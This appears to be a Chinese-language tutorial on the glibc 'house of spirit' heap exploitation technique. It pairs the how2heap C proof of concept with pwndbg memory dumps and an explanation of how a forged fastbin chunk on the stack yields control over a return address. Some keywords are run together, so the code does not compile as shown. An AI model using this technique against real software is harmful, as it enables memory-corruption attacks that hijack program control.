intmain() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsignedlonglong *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsignedlonglong fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); }
house of spirit 通常用来配合栈溢出使用,通常场景是,栈溢出无法覆盖到的 EIP ,而恰好栈中有一个即将被 free 的堆指针。我们通过在栈上 fake 一个fastbin chunk 接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize 伪造情况如下
Pwndbg> p fake_chunks $4 = {0xc2, 0x40, 0x7fffffffe3ae, 0x7ffff7ababe5, 0x1, 0x4008ed, 0x0, 0x0, 0x4008a0, 0x1234} Pwndbg> p &fake_chunks $5 = (unsigned long long (*)[10]) 0x7fffffffe370
其中 0x40 是chunk size,0x1234 是 nextsize。伪造 chunk 时需要绕过一些检查,首先是标志位,PREV_INUSE 位并不影响 free 的过程,但 IS_MMAPPED 位和 NON_MAIN_ARENA 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 2*SIZE_SZ(即大于16),小于 av->system_mem(即小于128kb),才能绕过对 next chunk 大小的检查。
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2]; fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a); fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
修改后如下: Pwndbg> p a $11 = (unsigned long long *) 0x7fffffffe380--> $9 = (unsigned long long **) 0x7fffffffe368